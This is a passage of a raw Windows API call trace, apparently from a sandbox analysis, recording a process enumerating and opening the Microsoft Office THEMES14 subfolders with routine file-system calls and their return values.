ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.411] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.411] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99ee38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99ee38, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.411] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.417] GetLastError () returned 0x12 [0144.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.417] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.418] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.418] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99ee38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x99ee38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.419] GetLastError () returned 0x12 [0144.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.419] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.419] GetLastError () returned 0x12 [0144.419] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.424] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.424] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a0e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a0e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.424] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.425] GetLastError () returned 0x12 [0144.425] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.425] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.425] GetLastError () returned 0x12 [0144.425] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.427] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.427] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a0e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a0e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.428] GetLastError () returned 0x12 [0144.429] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.429] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.429] GetLastError () returned 0x12 [0144.429] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.431] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.431] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a0e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a0e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.432] GetLastError () returned 0x12 [0144.432] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.432] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.432] GetLastError () returned 0x12 [0144.432] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.434] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.434] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a1440, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a1440, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.434] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.435] GetLastError () returned 0x12 [0144.435] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.435] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.435] GetLastError () returned 0x12 [0144.435] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.437] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.437] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a1440, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a1440, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.437] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.438] GetLastError () returned 0x12 [0144.438] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.438] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.439] GetLastError () returned 0x12 [0144.439] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.441] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.441] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a1440, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a1440, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.442] GetLastError () returned 0x12 [0144.442] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.442] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.442] GetLastError () returned 0x12 [0144.442] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.444] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.444] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a1440, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a1440, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.444] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.445] GetLastError () returned 0x12 [0144.445] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.445] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.446] GetLastError () returned 0x12 [0144.446] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.448] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.448] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a2e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a2e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.449] GetLastError () returned 0x12 [0144.449] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.449] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.449] GetLastError () returned 0x12 [0144.449] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.451] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.451] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a2e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a2e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.451] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.452] GetLastError () returned 0x12 [0144.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.452] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.452] GetLastError () returned 0x12 [0144.452] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.454] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.454] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3638, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.455] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.455] GetLastError () returned 0x12 [0144.456] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.456] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.456] GetLastError () returned 0x12 [0144.456] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), 